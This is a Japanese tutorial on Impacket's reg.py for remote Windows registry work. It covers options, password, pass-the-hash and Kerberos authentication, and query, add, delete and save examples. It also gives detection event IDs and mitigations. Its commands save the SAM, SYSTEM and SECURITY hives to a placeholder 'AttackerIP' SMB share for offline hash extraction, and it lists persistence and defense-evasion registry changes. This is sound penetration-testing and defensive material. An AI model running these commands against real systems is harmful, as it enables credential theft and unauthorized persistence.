はじめに
Impacketは、ネットワークプロトコルを扱うためのPythonクラスの強力なコレクションであり、セキュリティ専門家やペネトレーションテスターにとって不可欠なツールキットとなっています。Impacketは元々SecureAuthによってホストされていましたが、現在はFortraによって維持されています。このスイートに含まれる数多くのスクリプトの中でも、reg.py
はWindowsのリモートレジストリを操作するための重要なユーティリティとして際立っています。
reg.py
は、Windows標準のreg.exe
ユーティリティと同様の機能をリモートで提供し、[MS-RRP] MSRPCインターフェースを介して動作します。これにより、ユーザーはリモートシステムのレジストリキーや値を照会、追加、変更、削除することができます。これは、システム設定の調査、構成の変更、永続化メカニズムの設定、またはペネトレーションテスト中の情報収集において非常に役立ちます。
この記事では、impacket-reg
(reg.py
)の機能、使い方、認証方法、そして実際のユースケースについて詳しく解説します。
前提条件
impacket-reg
を使用するには、いくつかの前提条件があります。
- Impacketのインストール: Python環境にImpacketがインストールされている必要があります。通常、pipを使用してインストールできます。
または、GitHubリポジトリからクローンしてインストールすることも可能です。pip install impacket
git clone https://github.com/fortra/impacket.git cd impacket python setup.py install
- ターゲットシステムへのアクセス権: リモートレジストリを操作するには、ターゲットシステムに対する適切な権限を持つアカウント(ユーザー名とパスワード、またはNTLMハッシュ)が必要です。通常、管理者権限が必要となります。
- ネットワーク接続: 実行元のマシンからターゲットシステムへのネットワーク接続(通常はSMB(ポート445)またはRPC(ポート135)経由)が必要です。ファイアウォール設定を確認してください。
- リモートレジストリサービス: ターゲットシステムで「Remote Registry」サービスが実行されている必要があります。
impacket-reg
は、必要に応じてこのサービスを開始しようと試みますが、ポリシーによって制限されている場合があります。
基本的な使い方とオプション
impacket-reg
の基本的なコマンド構文は以下の通りです。
reg.py [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] target {query,add,delete,save,...} [action specific arguments]
主要なオプション
オプション | 説明 |
---|---|
target |
ターゲットを指定します。形式は [[domain/]username[:password]@] です。例: mydomain.local/adminuser:MyPassword123@192.168.1.100 |
-h, --help |
ヘルプメッセージを表示して終了します。 |
-debug |
デバッグ出力を有効にします。詳細な動作状況を確認したい場合に便利です。 |
-hashes LMHASH:NTHASH |
パスワードの代わりにLMハッシュとNTハッシュを指定して認証します(Pass-the-Hash)。例: -hashes aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
-no-pass |
パスワードの入力を求めません。-k (Kerberos認証)と併用する場合などに使用します。 |
-k |
Kerberos認証を使用します。ccacheファイル(環境変数KRB5CCNAME で指定)から資格情報を取得します。見つからない場合はコマンドラインで指定されたものを使用します。 |
-aesKey hex key |
Kerberos認証で使用するAESキー(128ビットまたは256ビット)を16進数形式で指定します。 |
-dc-ip ip address |
ドメインコントローラーのIPアドレスを指定します。省略された場合、target で指定されたドメイン名(FQDN)から解決を試みます。 |
-target-ip ip address |
ターゲットマシンのIPアドレスを明示的に指定します。target にNetBIOS名を指定し、名前解決ができない場合に役立ちます。 |
-port [destination port] |
接続先のポート番号を指定します。デフォルトではSMB(通常445)またはRPC(通常135)が使用されます。 |
アクション (主なもの)
アクション | 説明 |
---|---|
query |
指定したサブキー配下のサブキーやエントリ(値)を照会します。 |
add |
新しいサブキーまたはエントリ(値)をレジストリに追加します。 |
delete |
指定したサブキーまたはエントリ(値)を削除します。 |
save |
指定したレジストリハイブ(例: HKLM\SAM)をファイルに保存します。secretsdump.py などが内部で使用する機能です。 |
認証方法
impacket-reg
は複数の認証方法をサポートしています。
1. パスワード認証
最も基本的な方法です。ユーザー名とパスワードをターゲット指定に含めます。
reg.py DOMAIN/User:Password@TargetIP query -keyName HKLM\\Software
ドメインに参加していないマシンの場合は、ドメイン部分を省略できます。
reg.py Administrator:Password123@TargetIP query -keyName HKLM\\System
2. NTLMハッシュ認証 (Pass-the-Hash)
パスワードの代わりに、ユーザーアカウントのLMハッシュとNTハッシュを使用します。これは、パスワードが不明でもハッシュが既知の場合に非常に有効な攻撃手法(Lateral Movement)です。-hashes
オプションを使用します。
reg.py DOMAIN/User@TargetIP -hashes LMHASH:NTHASH query -keyName HKLM\\Security
LMハッシュは古い形式であり、現代のWindowsでは通常無効化されています(Null LMハッシュ: aad3b435b51404eeaad3b435b51404ee
)。LMハッシュが不明または存在しない場合は、空の文字列を指定できます。
reg.py DOMAIN/User@TargetIP -hashes :NTHASH query -keyName HKCU\\Software
3. Kerberos認証
Active Directory環境でKerberos認証を使用できます。事前にKerberosチケット(TGT)を取得しておく必要があります。-k
オプションを使用します。
まず、getTGT.py
などを使用してチケットを取得し、ccacheファイルに保存します。
getTGT.py DOMAIN/User:Password
環境変数 KRB5CCNAME
がチケットファイルを指していることを確認し、-k
オプションと -no-pass
を使用して reg.py
を実行します。
export KRB5CCNAME=/path/to/user.ccache
reg.py DOMAIN/User@TargetIP -k -no-pass query -keyName HKLM\\Software\\Microsoft
AESキーが既知の場合は、-aesKey
オプションで直接指定することも可能です。
reg.py DOMAIN/User@TargetIP -k -no-pass -aesKey <aes_key_hex> query -keyName HKLM\\Software\\Policies
レジストリ操作の例
以下に、impacket-reg
を使用した具体的なレジストリ操作の例を示します。
1. キーの値の照会 (query)
特定のキー配下のすべての値を取得します。
reg.py DOMAIN/User:Password@TargetIP query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
特定の値を照会するには -v
オプションを使用します。
reg.py DOMAIN/User:Password@TargetIP query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" -v ProductName
デフォルト値(空の名前の値)を照会するには -ve
オプションを使用します。
reg.py DOMAIN/User:Password@TargetIP query -keyName "HKCR\\txtfile\\shell\\open\\command" -ve
サブキーを含めて再帰的に照会するには -s
オプションを使用します。
reg.py DOMAIN/User:Password@TargetIP query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Services" -s
2. キー/値の追加 (add)
新しいキーを追加します。
reg.py DOMAIN/User:Password@TargetIP add -keyName "HKCU\\Software\\MyApp"
新しい値を追加します。値の型 (-vt
) と値のデータ (-vd
) を指定します。
例: DisableRestrictedAdmin (DWORD値) を 1 に設定 (Restricted Admin Modeを無効化)
reg.py DOMAIN/User:Password@TargetIP add -keyName "HKLM\\System\\CurrentControlSet\\Control\\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
例: 文字列値 (REG_SZ) を追加
reg.py DOMAIN/User:Password@TargetIP add -keyName "HKCU\\Software\\MyApp" -v Setting1 -vt REG_SZ -vd "SomeValue"
利用可能な値の型 (-vt
):
REG_SZ
: 文字列値REG_EXPAND_SZ
: 展開可能な文字列値 (環境変数を含む)REG_BINARY
: バイナリデータREG_DWORD
: 32ビット数値REG_MULTI_SZ
: 複数行文字列値REG_QWORD
: 64ビット数値
3. キー/値の削除 (delete)
特定の値を削除します。-v
で値の名前を指定します。
reg.py DOMAIN/User:Password@TargetIP delete -keyName "HKLM\\System\\CurrentControlSet\\Control\\Lsa" -v DisableRestrictedAdmin
キー全体(配下のすべてのサブキーと値を含む)を削除します。-v
を指定せず、-keyName
のみ指定します。注意: この操作は非常に危険であり、システムを不安定にする可能性があります。
# 非常に注意して実行してください!
reg.py DOMAIN/User:Password@TargetIP delete -keyName "HKCU\\Software\\MyApp"
4. レジストリハイブの保存 (save)
secretsdump.py
などが内部で行うように、レジストリハイブ(SAM, SYSTEM, SECURITYなど)をリモートマシン上の指定した場所に保存させることができます。これは通常、オフラインでのパスワードハッシュ抽出などに利用されます。
まず、攻撃者マシンでSMBサーバーを起動します。
impacket-smbserver attacker_share ./ -smb2support
次に、reg.py
の save
コマンドで、ターゲットマシンから攻撃者のSMB共有へハイブを保存させます。
reg.py DOMAIN/User:Password@TargetIP save -keyName HKLM\\SAM -o \\\\AttackerIP\\attacker_share\\sam_backup
reg.py DOMAIN/User:Password@TargetIP save -keyName HKLM\\SYSTEM -o \\\\AttackerIP\\attacker_share\\system_backup
reg.py DOMAIN/User:Password@TargetIP save -keyName HKLM\\SECURITY -o \\\\AttackerIP\\attacker_share\\security_backup
保存後、secretsdump.py
をローカルファイルモードで使用してハッシュを抽出できます。
secretsdump.py -sam sam_backup -system system_backup -security security_backup LOCAL
注意: この操作はターゲットシステム上に一時ファイルを作成する可能性があります (secretsdump.py
の標準動作)。また、管理者権限が必要です。
実用的なユースケース
impacket-reg
は、ペネトレーションテストやレッドチーム活動において多様な目的で使用されます。
- 情報収集:
- OSのバージョン、インストールされているソフトウェア、パッチレベルの確認 (例:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
) - ネットワーク設定、共有フォルダ情報の取得
- セキュリティポリシー設定の確認 (例: UAC設定
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
, パスワードポリシー) - インストールされているセキュリティ製品の特定
- Remote Desktop Protocol (RDP) の設定確認 (例:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
)
- OSのバージョン、インストールされているソフトウェア、パッチレベルの確認 (例:
- 永続化 (Persistence):
- Runキー (
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
,HKLM\Software\Microsoft\Windows\CurrentVersion\Run
) に悪意のあるプログラムのパスを追加 - サービス関連のレジストリキー (
HKLM\SYSTEM\CurrentControlSet\Services
) を変更して、既存のサービスに悪意のあるコードを注入したり、新しい悪意のあるサービスを作成したりする (例: ImagePathの変更) - Winlogon ヘルパーDLL (
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
) の設定 - その他、様々な自動起動設定やCOMハイジャックに関連するレジストリキーの操作
- Runキー (
- 権限昇格 (Privilege Escalation) / 防御回避 (Defense Evasion):
- UAC設定の変更 (例:
EnableLUA
,ConsentPromptBehaviorAdmin
) - Restricted Admin Mode (
DisableRestrictedAdmin
) の無効化による Pass-the-Hash での RDP 接続試行 - セキュリティソフトウェアの無効化に関連するレジストリ設定の変更
- 特定のレジストリキーのアクセス権 (ACL) の変更
- UAC設定の変更 (例:
- Lateral Movement の準備:
- リモートデスクトップやWinRMなどのリモート管理機能を有効化するためのレジストリ設定変更
- ターゲットシステムの設定変更 (例: ファイアウォールルールの変更を示唆するレジストリ設定など)
検出と対策
impacket-reg
によるリモートレジストリ操作は、適切なログ記録と監視が行われていれば検出可能です。
- Windows イベントログ:
- イベントID 4656 (オブジェクトへのハンドルが要求されました): レジストリキーへのアクセス試行 (読み取り、書き込みなど) が記録されます。特に
HKLM\SAM
,HKLM\SYSTEM
,HKLM\SECURITY
へのアクセスは要注意です。オブジェクト名に\REGISTRY\MACHINE\SAM
などが含まれます。 - イベントID 4657 (レジストリ値が変更されました): 新しいレジストリ値の作成または既存の値の変更が記録されます。
- イベントID 4663 (オブジェクトへのアクセスが試行されました): 詳細なアクセス権要求 (ReadData, WriteData, CreateKey など) が記録されます。
- イベントID 5145 (ネットワーク共有オブジェクトへのアクセス):
reg.py
は SMB/RPC を使用するため、IPC$
共有へのアクセスログが記録されることがあります。特に、Remote Registry サービス (winreg
) に関連するパイプアクセスが記録される場合があります。 - イベントID 7045 (サービスがシステムにインストールされました) / 7036 (サービスが開始または停止しました):
reg.py
が Remote Registry サービスを自動的に開始した場合、これらのイベントが記録される可能性があります。 - イベントID 4624 (アカウントが正常にログオンしました): リモートからのログオンイベント。どのユーザーがどのマシンから接続してきたかを確認します。
これらのイベントを記録するには、適切な監査ポリシーの設定が必要です (例: 「オブジェクトアクセスの監査 – レジストリ」、「ログオンイベントの監査」、「プロセス追跡の監査」など)。
- イベントID 4656 (オブジェクトへのハンドルが要求されました): レジストリキーへのアクセス試行 (読み取り、書き込みなど) が記録されます。特に
- ネットワーク監視:
- 異常な SMB/RPC トラフィック (特にポート 445, 135) の監視。
- 特定のホストからの大量のレジストリ関連トラフィック。
- エンドポイント検出応答 (EDR) ソリューション:
- EDR製品は、
reg.py
のようなツールによる不審なレジストリアクセスパターンや、Remote Registry サービスへの予期しないアクセスを検出できる場合があります。 - Sysmon などのツールを使用すると、より詳細なプロセス作成イベント (イベントID 1) や Named Pipe イベント (イベントID 17, 18) を監視でき、
svchost.exe
がRemoteRegistry
サービスを開始する様子やwinreg
パイプへの接続を捉えることができます。
- EDR製品は、
- 対策:
- リモートレジストリサービスの無効化: 必要がない限り、Remote Registry サービスを無効にしておくことが最も効果的な対策の一つです。
- 最小権限の原則: ユーザーやサービスアカウントに必要最小限の権限のみを付与し、管理者権限を持つアカウントの数を制限します。
- 強力なパスワードポリシーと認証: 推測されにくいパスワードを使用し、可能であれば多要素認証 (MFA) を導入します。
- ホストベースファイアウォール: 不要な SMB/RPC 通信を制限します。
- 定期的な監査とログレビュー: 上記のイベントログを定期的に確認し、不審なアクティビティがないか監視します。
(2024年5月21日) のブログ記事によると、reg.py
のアクティビティは比較的ノイズが多く、検出の機会が多いとされています。具体的には、サービスコントロールマネージャー (svcctl
パイプ) へのアクセス (イベントID 5145)、Remote Registry サービス (svchost.exe -k localService -p -s RemoteRegistry
) の起動 (プロセス生成ログ)、winreg
Named Pipe への接続 (Sysmon イベントID 18) などが特徴的な兆候として挙げられています。
まとめ
impacket-reg
(reg.py
) は、Impacket スイートに含まれる強力なツールであり、Windows のリモートレジストリに対して包括的な操作機能を提供します。これにより、セキュリティ専門家はシステムの構成調査、脆弱性の評価、永続化メカニズムの分析などを効率的に行うことができます。
パスワード、NTLMハッシュ、Kerberosチケットといった多様な認証方法をサポートしており、様々なシナリオでの利用が可能です。しかし、その強力さゆえに、悪用されるとシステムに重大な損害を与える可能性があります。適切な権限管理、監査、そして不要なサービスの無効化といった対策を講じることが重要です。
このツールを理解し、倫理的に活用することで、組織のセキュリティ体制の評価と強化に大きく貢献できるでしょう。
コメント